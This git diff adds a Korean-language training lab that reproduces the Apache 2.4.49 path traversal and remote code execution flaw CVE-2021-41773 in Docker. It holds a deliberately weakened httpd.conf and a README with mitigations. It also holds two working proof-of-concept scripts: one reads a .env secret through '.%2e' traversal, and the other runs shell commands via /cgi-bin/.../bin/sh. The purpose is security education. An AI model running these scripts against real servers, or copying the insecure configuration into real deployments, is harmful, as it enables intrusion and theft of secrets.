diff --git a/Apache/CVE-2021-41773/.env b/Apache/CVE-2021-41773/.env new file mode 100644 index 000000000..aafa27d30 --- /dev/null +++ b/Apache/CVE-2021-41773/.env @@ -0,0 +1 @@ +SECRET_API_KEY=tIkC5I31vfBjNUNWuYrGChoyZv170UxYLoC+Mst14M0= \ No newline at end of file diff --git a/Apache/CVE-2021-41773/README.md b/Apache/CVE-2021-41773/README.md new file mode 100644 index 000000000..a3d2fc9c0 --- /dev/null +++ b/Apache/CVE-2021-41773/README.md @@ -0,0 +1,125 @@ +# Apache HTTP Server 2.4.49 Path Traversal & RCE (CVE-2021-41773) + +**화이트햇 스쿨 4기 조인영** + +## 1. 취약점 요약 + +| 항목 | 내용 | +| --- | ------------------------- | +| CVE | CVE-2021-41773 | +| 대상 | Apache HTTP Server 2.4.49 | +| 유형 | Path Traversal | + +Apache HTTP Server 2.4.49에 도입된 경로 정규화 로직 변경에 +결함이 있어 발생하는 취약점입니다. URL 경로 안의 `.` 를 퍼센트 인코딩한 `%2e` 를 사용하면 +Apache가 이를 정규화하지 못하고 `../` 로 해석하여, `Alias` 또는 `ScriptAlias` 로 매핑된 상위 디렉토리의 파일에 접근할 수 있습니다. + +- 대상 파일에 접근 권한이 있으면 **Arbitrary File Read** (비밀키 등)이 가능합니다. +- 매핑된 경로가 CGI 실행 경로라면 디렉토리를 탈출해 시스템 쉘에 도달시켜 + **RCE**까지 가능합니다. + +## 2. 환경 구성 + +``` +Apache/CVE-2021-41773/ +├── docker-compose.yml +├── conf/ +│ └── httpd.conf +├── poc/ +│ ├── lfi.py +│ └── rce.py +├── .env +└── README.md +``` + +- Apache HTTP Server 2.4.49 (취약한 버전의 Apache HTTP Server) 이미지를 사용했습니다. (`httpd:2.4.49`) +- `conf` 폴더에 `httpd.conf`를 넣어 파일을 읽고 실행하는 환경을 구성했습니다. +- `poc` 폴더에 PoC 스크립트를 작성했습니다. +- `.env` 파일에 API 키를 넣어 API 키를 탈취하는 시나리오를 가정했습니다. + +## 3. 취약 조건 + +`conf/httpd.conf`를 기본 파일에서 조금 변경했습니다. CVE 자체는 이 설정 없이도 작동하지만, 실제 파일을 읽거나 실행하려면 다음의 조건들이 필요합니다. + +| | 설정 | 기본값 | 변경 | 역할 | +| --- | ---------------------------------- | ------------ | ------------- | ------------------------------------------------------------------------ | +| 1 | `` 의 `Require` | `all denied` | `all granted` | Traversal 로 도달한 파일시스템 루트 하위 파일에 접근을 허용합니다. | +| 2 | `LoadModule cgid_module` | 주석 처리 | 활성 | 도달한 `/bin/sh`를 CGI 로 실행해서 RCE를 할 수 있게 만듭니다. | +| 3 | `Include .../httpd-autoindex.conf` | 주석 처리 | 활성 | `Alias /icons/ "/usr/local/apache2/icons/"` 매핑을 제공해 Traversal 시작점을 확보합니다. | + +## 4. 재현 절차 + +재현 전, Docker와 Python을 설치해야 합니다. + +```bash +pip install requests +cd Apache/CVE-2021-41773 +docker compose up -d +python poc/lfi.py +python poc/rce.py +docker compose down +``` + +`docker compose up -d` 으로 서버를 킨 다음, 두 개의 PoC 코드를 실행한 후 `docker compose down`로 서버를 닫습니다. + +## 5. PoC 코드 + +`poc/lfi.py` +```python +import sys +import requests + +BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://localhost:8080' + +def raw_get(path): + prepared = requests.Request('GET', BASE + path).prepare() + prepared.url = BASE + path + return requests.Session().send(prepared, timeout=10) + +def main(): + print(f'[*] Target: {BASE}') + print(f'[*] Read .env file') + print(raw_get('/icons/.%2e/.%2e/.%2e/.%2e/.env').text.rstrip()) + +if __name__ == '__main__': + main() +``` + +`.%2e`를 이용해 Path Traversal을 일으켜 `.env` 파일을 읽어 API 키를 탈취합니다. + +`poc/rce.py` +```python +import sys +import requests + +BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://localhost:8080' +SH_PATH = '/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' + +def run(cmd): + body = f'echo Content-Type: text/plain; echo; {cmd}' + prepared = requests.Request('POST', BASE + SH_PATH, data=body).prepare() + prepared.url = BASE + SH_PATH + return requests.Session().send(prepared, timeout=10).text + +def main(): + print(f'[*] Target: {BASE}') + print('[*] Run "id" and "uname -a; whoami"') + print(run('id').rstrip()) + print(run('uname -a; whoami').rstrip()) + +if __name__ == '__main__': + main() +``` + +마찬가지로 `.%2e`를 이용해 Path Traversal을 일으켜 `/bin/sh`에 도달해 `id`와 `uname -a; whoami` 명령을 실행시킵니다. + +## 6. 실행 결과 + +![](screenshot.png) + +`.env` 파일을 읽어 시크릿 키를 유출하고, RCE까지 성공해 `id`와 `uname -a; whoami` 명령을 실행한 것을 확인할 수 있습니다. + +## 7. 대응 방안 + +- **버전 업그레이드:** 취약한 2.4.49 버전에서 최신 버전으로 업그레이드합니다. +- **불필요한 권한 비활성화:** `httpd.conf`에서 불필요한 권한을 비활성화하여, 공격자가 취약점을 통해서 Arbitrary File Read나 RCE를 하지 못하게 합니다. diff --git a/Apache/CVE-2021-41773/conf/httpd.conf b/Apache/CVE-2021-41773/conf/httpd.conf new file mode 100644 index 000000000..277b1c2e6 --- /dev/null +++ b/Apache/CVE-2021-41773/conf/httpd.conf @@ -0,0 +1,565 @@ +# +# This is the main Apache HTTP server configuration file. It contains the +# configuration directives that give the server its instructions. +# See for detailed information. +# In particular, see +# +# for a discussion of each configuration directive. +# +# Do NOT simply read the instructions in here without understanding +# what they do. They're here only as hints or reminders. If you are unsure +# consult the online docs. You have been warned. +# +# Configuration and logfile names: If the filenames you specify for many +# of the server's control files begin with "/" (or "drive:/" for Win32), the +# server will use that explicit path. If the filenames do *not* begin +# with "/", the value of ServerRoot is prepended -- so "logs/access_log" +# with ServerRoot set to "/usr/local/apache2" will be interpreted by the +# server as "/usr/local/apache2/logs/access_log", whereas "/logs/access_log" +# will be interpreted as '/logs/access_log'. + +# +# ServerRoot: The top of the directory tree under which the server's +# configuration, error, and log files are kept. +# +# Do not add a slash at the end of the directory path. If you point +# ServerRoot at a non-local disk, be sure to specify a local disk on the +# Mutex directive, if file-based mutexes are used. If you wish to share the +# same ServerRoot for multiple httpd daemons, you will need to change at +# least PidFile. +# +ServerRoot "/usr/local/apache2" + +# +# Mutex: Allows you to set the mutex mechanism and mutex file directory +# for individual mutexes, or change the global defaults +# +# Uncomment and change the directory if mutexes are file-based and the default +# mutex file directory is not on a local disk or is not appropriate for some +# other reason. +# +# Mutex default:logs + +# +# Listen: Allows you to bind Apache to specific IP addresses and/or +# ports, instead of the default. See also the +# directive. +# +# Change this to Listen on specific IP addresses as shown below to +# prevent Apache from glomming onto all bound IP addresses. +# +#Listen 12.34.56.78:80 +Listen 80 + +# +# Dynamic Shared Object (DSO) Support +# +# To be able to use the functionality of a module which was built as a DSO you +# have to place corresponding `LoadModule' lines at this location so the +# directives contained in it are actually available _before_ they are used. +# Statically compiled modules (those listed by `httpd -l') do not need +# to be loaded here. +# +# Example: +# LoadModule foo_module modules/mod_foo.so +# +LoadModule mpm_event_module modules/mod_mpm_event.so +#LoadModule mpm_prefork_module modules/mod_mpm_prefork.so +#LoadModule mpm_worker_module modules/mod_mpm_worker.so +LoadModule authn_file_module modules/mod_authn_file.so +#LoadModule authn_dbm_module modules/mod_authn_dbm.so +#LoadModule authn_anon_module modules/mod_authn_anon.so +#LoadModule authn_dbd_module modules/mod_authn_dbd.so +#LoadModule authn_socache_module modules/mod_authn_socache.so +LoadModule authn_core_module modules/mod_authn_core.so +LoadModule authz_host_module modules/mod_authz_host.so +LoadModule authz_groupfile_module modules/mod_authz_groupfile.so +LoadModule authz_user_module modules/mod_authz_user.so +#LoadModule authz_dbm_module modules/mod_authz_dbm.so +#LoadModule authz_owner_module modules/mod_authz_owner.so +#LoadModule authz_dbd_module modules/mod_authz_dbd.so +LoadModule authz_core_module modules/mod_authz_core.so +#LoadModule authnz_ldap_module modules/mod_authnz_ldap.so +#LoadModule authnz_fcgi_module modules/mod_authnz_fcgi.so +LoadModule access_compat_module modules/mod_access_compat.so +LoadModule auth_basic_module modules/mod_auth_basic.so +#LoadModule auth_form_module modules/mod_auth_form.so +#LoadModule auth_digest_module modules/mod_auth_digest.so +#LoadModule allowmethods_module modules/mod_allowmethods.so +#LoadModule isapi_module modules/mod_isapi.so +#LoadModule file_cache_module modules/mod_file_cache.so +#LoadModule cache_module modules/mod_cache.so +#LoadModule cache_disk_module modules/mod_cache_disk.so +#LoadModule cache_socache_module modules/mod_cache_socache.so +#LoadModule socache_shmcb_module modules/mod_socache_shmcb.so +#LoadModule socache_dbm_module modules/mod_socache_dbm.so +#LoadModule socache_memcache_module modules/mod_socache_memcache.so +#LoadModule socache_redis_module modules/mod_socache_redis.so +#LoadModule watchdog_module modules/mod_watchdog.so +#LoadModule macro_module modules/mod_macro.so +#LoadModule dbd_module modules/mod_dbd.so +#LoadModule bucketeer_module modules/mod_bucketeer.so +#LoadModule dumpio_module modules/mod_dumpio.so +#LoadModule echo_module modules/mod_echo.so +#LoadModule example_hooks_module modules/mod_example_hooks.so +#LoadModule case_filter_module modules/mod_case_filter.so +#LoadModule case_filter_in_module modules/mod_case_filter_in.so +#LoadModule example_ipc_module modules/mod_example_ipc.so +#LoadModule buffer_module modules/mod_buffer.so +#LoadModule data_module modules/mod_data.so +#LoadModule ratelimit_module modules/mod_ratelimit.so +LoadModule reqtimeout_module modules/mod_reqtimeout.so +#LoadModule ext_filter_module modules/mod_ext_filter.so +#LoadModule request_module modules/mod_request.so +#LoadModule include_module modules/mod_include.so +LoadModule filter_module modules/mod_filter.so +#LoadModule reflector_module modules/mod_reflector.so +#LoadModule substitute_module modules/mod_substitute.so +#LoadModule sed_module modules/mod_sed.so +#LoadModule charset_lite_module modules/mod_charset_lite.so +#LoadModule deflate_module modules/mod_deflate.so +#LoadModule xml2enc_module modules/mod_xml2enc.so +#LoadModule proxy_html_module modules/mod_proxy_html.so +#LoadModule brotli_module modules/mod_brotli.so +LoadModule mime_module modules/mod_mime.so +#LoadModule ldap_module modules/mod_ldap.so +LoadModule log_config_module modules/mod_log_config.so +#LoadModule log_debug_module modules/mod_log_debug.so +#LoadModule log_forensic_module modules/mod_log_forensic.so +#LoadModule logio_module modules/mod_logio.so +#LoadModule lua_module modules/mod_lua.so +LoadModule env_module modules/mod_env.so +#LoadModule mime_magic_module modules/mod_mime_magic.so +#LoadModule cern_meta_module modules/mod_cern_meta.so +#LoadModule expires_module modules/mod_expires.so +LoadModule headers_module modules/mod_headers.so +#LoadModule ident_module modules/mod_ident.so +#LoadModule usertrack_module modules/mod_usertrack.so +#LoadModule unique_id_module modules/mod_unique_id.so +LoadModule setenvif_module modules/mod_setenvif.so +LoadModule version_module modules/mod_version.so +#LoadModule remoteip_module modules/mod_remoteip.so +#LoadModule proxy_module modules/mod_proxy.so +#LoadModule proxy_connect_module modules/mod_proxy_connect.so +#LoadModule proxy_ftp_module modules/mod_proxy_ftp.so +#LoadModule proxy_http_module modules/mod_proxy_http.so +#LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so +#LoadModule proxy_scgi_module modules/mod_proxy_scgi.so +#LoadModule proxy_uwsgi_module modules/mod_proxy_uwsgi.so +#LoadModule proxy_fdpass_module modules/mod_proxy_fdpass.so +#LoadModule proxy_wstunnel_module modules/mod_proxy_wstunnel.so +#LoadModule proxy_ajp_module modules/mod_proxy_ajp.so +#LoadModule proxy_balancer_module modules/mod_proxy_balancer.so +#LoadModule proxy_express_module modules/mod_proxy_express.so +#LoadModule proxy_hcheck_module modules/mod_proxy_hcheck.so +#LoadModule session_module modules/mod_session.so +#LoadModule session_cookie_module modules/mod_session_cookie.so +#LoadModule session_crypto_module modules/mod_session_crypto.so +#LoadModule session_dbd_module modules/mod_session_dbd.so +#LoadModule slotmem_shm_module modules/mod_slotmem_shm.so +#LoadModule slotmem_plain_module modules/mod_slotmem_plain.so +#LoadModule ssl_module modules/mod_ssl.so +#LoadModule optional_hook_export_module modules/mod_optional_hook_export.so +#LoadModule optional_hook_import_module modules/mod_optional_hook_import.so +#LoadModule optional_fn_import_module modules/mod_optional_fn_import.so +#LoadModule optional_fn_export_module modules/mod_optional_fn_export.so +#LoadModule dialup_module modules/mod_dialup.so +#LoadModule http2_module modules/mod_http2.so +#LoadModule proxy_http2_module modules/mod_proxy_http2.so +#LoadModule md_module modules/mod_md.so +#LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so +#LoadModule lbmethod_bytraffic_module modules/mod_lbmethod_bytraffic.so +#LoadModule lbmethod_bybusyness_module modules/mod_lbmethod_bybusyness.so +#LoadModule lbmethod_heartbeat_module modules/mod_lbmethod_heartbeat.so +LoadModule unixd_module modules/mod_unixd.so +#LoadModule heartbeat_module modules/mod_heartbeat.so +#LoadModule heartmonitor_module modules/mod_heartmonitor.so +#LoadModule dav_module modules/mod_dav.so +LoadModule status_module modules/mod_status.so +LoadModule autoindex_module modules/mod_autoindex.so +#LoadModule asis_module modules/mod_asis.so +#LoadModule info_module modules/mod_info.so +#LoadModule suexec_module modules/mod_suexec.so +# === CVE-2021-41773 취약 조건 (2/3) === +# RCE 시연용. 기본값은 주석 처리(비활성)이다. cgid 모듈을 켜야 traversal 로 +# 도달한 /bin/sh 가 CGI 로 실행되어 파일 유출이 원격 명령 실행으로 확장된다. +# (기본 이미지는 mpm_event 이므로 cgid_module 경로가 사용된다.) + + LoadModule cgid_module modules/mod_cgid.so + + + #LoadModule cgi_module modules/mod_cgi.so + +#LoadModule dav_fs_module modules/mod_dav_fs.so +#LoadModule dav_lock_module modules/mod_dav_lock.so +#LoadModule vhost_alias_module modules/mod_vhost_alias.so +#LoadModule negotiation_module modules/mod_negotiation.so +LoadModule dir_module modules/mod_dir.so +#LoadModule imagemap_module modules/mod_imagemap.so +#LoadModule actions_module modules/mod_actions.so +#LoadModule speling_module modules/mod_speling.so +#LoadModule userdir_module modules/mod_userdir.so +LoadModule alias_module modules/mod_alias.so +#LoadModule rewrite_module modules/mod_rewrite.so + + +# +# If you wish httpd to run as a different user or group, you must run +# httpd as root initially and it will switch. +# +# User/Group: The name (or #number) of the user/group to run httpd as. +# It is usually good practice to create a dedicated user and group for +# running httpd, as with most system services. +# +User daemon +Group daemon + + + +# 'Main' server configuration +# +# The directives in this section set up the values used by the 'main' +# server, which responds to any requests that aren't handled by a +# definition. These values also provide defaults for +# any containers you may define later in the file. +# +# All of these directives may appear inside containers, +# in which case these default settings will be overridden for the +# virtual host being defined. +# + +# +# ServerAdmin: Your address, where problems with the server should be +# e-mailed. This address appears on some server-generated pages, such +# as error documents. e.g. admin@your-domain.com +# +ServerAdmin you@example.com + +# +# ServerName gives the name and port that the server uses to identify itself. +# This can often be determined automatically, but we recommend you specify +# it explicitly to prevent problems during startup. +# +# If your host doesn't have a registered DNS name, enter its IP address here. +# +#ServerName www.example.com:80 + +# +# Deny access to the entirety of your server's filesystem. You must +# explicitly permit access to web content directories in other +# blocks below. +# +# === CVE-2021-41773 취약 조건 (1/3) === +# 기본값은 `Require all denied` 이다. 이를 `Require all granted` 로 변경하면 +# 경로 정규화 버그(%2e 우회)로 alias 밖으로 탈출한 요청이 파일시스템 루트('/') +# 아래 파일에 실제로 접근할 수 있게 된다. (denied 상태에서는 traversal 이 뚫려도 403) +# CVE 의 본질은 이 설정이 아니라 mod_core 의 경로 정규화 결함이며, 이 설정은 +# "유출 대상 파일에 접근이 허용된" 흔한 실운영 조건을 재현하기 위한 것이다. + + AllowOverride none + Require all granted + + +# +# Note that from this point forward you must specifically allow +# particular features to be enabled - so if something's not working as +# you might expect, make sure that you have specifically enabled it +# below. +# + +# +# DocumentRoot: The directory out of which you will serve your +# documents. By default, all requests are taken from this directory, but +# symbolic links and aliases may be used to point to other locations. +# +DocumentRoot "/usr/local/apache2/htdocs" + + # + # Possible values for the Options directive are "None", "All", + # or any combination of: + # Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews + # + # Note that "MultiViews" must be named *explicitly* --- "Options All" + # doesn't give it to you. + # + # The Options directive is both complicated and important. Please see + # http://httpd.apache.org/docs/2.4/mod/core.html#options + # for more information. + # + Options Indexes FollowSymLinks + + # + # AllowOverride controls what directives may be placed in .htaccess files. + # It can be "All", "None", or any combination of the keywords: + # AllowOverride FileInfo AuthConfig Limit + # + AllowOverride None + + # + # Controls who can get stuff from this server. + # + Require all granted + + +# +# DirectoryIndex: sets the file that Apache will serve if a directory +# is requested. +# + + DirectoryIndex index.html + + +# +# The following lines prevent .htaccess and .htpasswd files from being +# viewed by Web clients. +# + + Require all denied + + +# +# ErrorLog: The location of the error log file. +# If you do not specify an ErrorLog directive within a +# container, error messages relating to that virtual host will be +# logged here. If you *do* define an error logfile for a +# container, that host's errors will be logged there and not here. +# +ErrorLog /proc/self/fd/2 + +# +# LogLevel: Control the number of messages logged to the error_log. +# Possible values include: debug, info, notice, warn, error, crit, +# alert, emerg. +# +LogLevel warn + + + # + # The following directives define some format nicknames for use with + # a CustomLog directive (see below). + # + LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined + LogFormat "%h %l %u %t \"%r\" %>s %b" common + + + # You need to enable mod_logio.c to use %I and %O + LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio + + + # + # The location and format of the access logfile (Common Logfile Format). + # If you do not define any access logfiles within a + # container, they will be logged here. Contrariwise, if you *do* + # define per- access logfiles, transactions will be + # logged therein and *not* in this file. + # + CustomLog /proc/self/fd/1 common + + # + # If you prefer a logfile with access, agent, and referer information + # (Combined Logfile Format) you can use the following directive. + # + #CustomLog "logs/access_log" combined + + + + # + # Redirect: Allows you to tell clients about documents that used to + # exist in your server's namespace, but do not anymore. The client + # will make a new request for the document at its new location. + # Example: + # Redirect permanent /foo http://www.example.com/bar + + # + # Alias: Maps web paths into filesystem paths and is used to + # access content that does not live under the DocumentRoot. + # Example: + # Alias /webpath /full/filesystem/path + # + # If you include a trailing / on /webpath then the server will + # require it to be present in the URL. You will also likely + # need to provide a section to allow access to + # the filesystem path. + + # + # ScriptAlias: This controls which directories contain server scripts. + # ScriptAliases are essentially the same as Aliases, except that + # documents in the target directory are treated as applications and + # run by the server when requested rather than as documents sent to the + # client. The same rules about trailing "/" apply to ScriptAlias + # directives as to Alias. + # + ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" + + + + + # + # ScriptSock: On threaded servers, designate the path to the UNIX + # socket used to communicate with the CGI daemon of mod_cgid. + # + #Scriptsock cgisock + + +# +# "/usr/local/apache2/cgi-bin" should be changed to whatever your ScriptAliased +# CGI directory exists, if you have that configured. +# + + AllowOverride None + Options None + Require all granted + + + + # + # Avoid passing HTTP_PROXY environment to CGI's on this or any proxied + # backend servers which have lingering "httpoxy" defects. + # 'Proxy' request header is undefined by the IETF, not listed by IANA + # + RequestHeader unset Proxy early + + + + # + # TypesConfig points to the file containing the list of mappings from + # filename extension to MIME-type. + # + TypesConfig conf/mime.types + + # + # AddType allows you to add to or override the MIME configuration + # file specified in TypesConfig for specific file types. + # + #AddType application/x-gzip .tgz + # + # AddEncoding allows you to have certain browsers uncompress + # information on the fly. Note: Not all browsers support this. + # + #AddEncoding x-compress .Z + #AddEncoding x-gzip .gz .tgz + # + # If the AddEncoding directives above are commented-out, then you + # probably should define those extensions to indicate media types: + # + AddType application/x-compress .Z + AddType application/x-gzip .gz .tgz + + # + # AddHandler allows you to map certain file extensions to "handlers": + # actions unrelated to filetype. These can be either built into the server + # or added with the Action directive (see below) + # + # To use CGI scripts outside of ScriptAliased directories: + # (You will also need to add "ExecCGI" to the "Options" directive.) + # + #AddHandler cgi-script .cgi + + # For type maps (negotiated resources): + #AddHandler type-map var + + # + # Filters allow you to process content before it is sent to the client. + # + # To parse .shtml files for server-side includes (SSI): + # (You will also need to add "Includes" to the "Options" directive.) + # + #AddType text/html .shtml + #AddOutputFilter INCLUDES .shtml + + +# +# The mod_mime_magic module allows the server to use various hints from the +# contents of the file itself to determine its type. The MIMEMagicFile +# directive tells the module where the hint definitions are located. +# +#MIMEMagicFile conf/magic + +# +# Customizable error responses come in three flavors: +# 1) plain text 2) local redirects 3) external redirects +# +# Some examples: +#ErrorDocument 500 "The server made a boo boo." +#ErrorDocument 404 /missing.html +#ErrorDocument 404 "/cgi-bin/missing_handler.pl" +#ErrorDocument 402 http://www.example.com/subscription_info.html +# + +# +# MaxRanges: Maximum number of Ranges in a request before +# returning the entire resource, or one of the special +# values 'default', 'none' or 'unlimited'. +# Default setting is to accept 200 Ranges. +#MaxRanges unlimited + +# +# EnableMMAP and EnableSendfile: On systems that support it, +# memory-mapping or the sendfile syscall may be used to deliver +# files. This usually improves server performance, but must +# be turned off when serving from networked-mounted +# filesystems or if support for these functions is otherwise +# broken on your system. +# Defaults: EnableMMAP On, EnableSendfile Off +# +#EnableMMAP off +#EnableSendfile on + +# Supplemental configuration +# +# The configuration files in the conf/extra/ directory can be +# included to add extra features or to modify the default configuration of +# the server, or you may simply copy their contents here and change as +# necessary. + +# Server-pool management (MPM specific) +#Include conf/extra/httpd-mpm.conf + +# Multi-language error messages +#Include conf/extra/httpd-multilang-errordoc.conf + +# === CVE-2021-41773 취약 조건 (3/3) === +# 기본값은 주석 처리되어 있다. 이 include 를 켜면 `Alias /icons/ ...` 매핑이 +# 생겨 traversal 의 시작점(파일시스템 경로로 매핑된 URL prefix)이 확보된다. +# ScriptAlias /cgi-bin/ 은 기본 활성이라 RCE 시작점은 별도 설정이 필요 없다. +# Fancy directory listings +Include conf/extra/httpd-autoindex.conf + +# Language settings +#Include conf/extra/httpd-languages.conf + +# User home directories +#Include conf/extra/httpd-userdir.conf + +# Real-time info on requests and configuration +#Include conf/extra/httpd-info.conf + +# Virtual hosts +#Include conf/extra/httpd-vhosts.conf + +# Local access to the Apache HTTP Server Manual +#Include conf/extra/httpd-manual.conf + +# Distributed authoring and versioning (WebDAV) +#Include conf/extra/httpd-dav.conf + +# Various default settings +#Include conf/extra/httpd-default.conf + +# Configure mod_proxy_html to understand HTML4/XHTML1 + +Include conf/extra/proxy-html.conf + + +# Secure (SSL/TLS) connections +#Include conf/extra/httpd-ssl.conf +# +# Note: The following must must be present to support +# starting without SSL on platforms with no /dev/random equivalent +# but a statically compiled-in mod_ssl. +# + +SSLRandomSeed startup builtin +SSLRandomSeed connect builtin + + diff --git a/Apache/CVE-2021-41773/docker-compose.yml b/Apache/CVE-2021-41773/docker-compose.yml new file mode 100644 index 000000000..77173a7d7 --- /dev/null +++ b/Apache/CVE-2021-41773/docker-compose.yml @@ -0,0 +1,8 @@ +services: + apache: + image: httpd:2.4.49 + ports: + - "8080:80" + volumes: + - ./conf/httpd.conf:/usr/local/apache2/conf/httpd.conf:ro + - ./.env:/.env:ro diff --git a/Apache/CVE-2021-41773/poc/lfi.py b/Apache/CVE-2021-41773/poc/lfi.py new file mode 100644 index 000000000..816dd20b7 --- /dev/null +++ b/Apache/CVE-2021-41773/poc/lfi.py @@ -0,0 +1,17 @@ +import sys +import requests + +BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://localhost:8080' + +def raw_get(path): + prepared = requests.Request('GET', BASE + path).prepare() + prepared.url = BASE + path + return requests.Session().send(prepared, timeout=10) + +def main(): + print(f'[*] Target: {BASE}') + print(f'[*] Read .env file') + print(raw_get('/icons/.%2e/.%2e/.%2e/.%2e/.env').text.rstrip()) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/Apache/CVE-2021-41773/poc/rce.py b/Apache/CVE-2021-41773/poc/rce.py new file mode 100644 index 000000000..0fe56038e --- /dev/null +++ b/Apache/CVE-2021-41773/poc/rce.py @@ -0,0 +1,20 @@ +import sys +import requests + +BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://localhost:8080' +SH_PATH = '/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' + +def run(cmd): + body = f'echo Content-Type: text/plain; echo; {cmd}' + prepared = requests.Request('POST', BASE + SH_PATH, data=body).prepare() + prepared.url = BASE + SH_PATH + return requests.Session().send(prepared, timeout=10).text + +def main(): + print(f'[*] Target: {BASE}') + print('[*] Run "id" and "uname -a; whoami"') + print(run('id').rstrip()) + print(run('uname -a; whoami').rstrip()) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/Apache/CVE-2021-41773/screenshot.png b/Apache/CVE-2021-41773/screenshot.png new file mode 100644 index 000000000..b2b62dd47 Binary files /dev/null and b/Apache/CVE-2021-41773/screenshot.png differ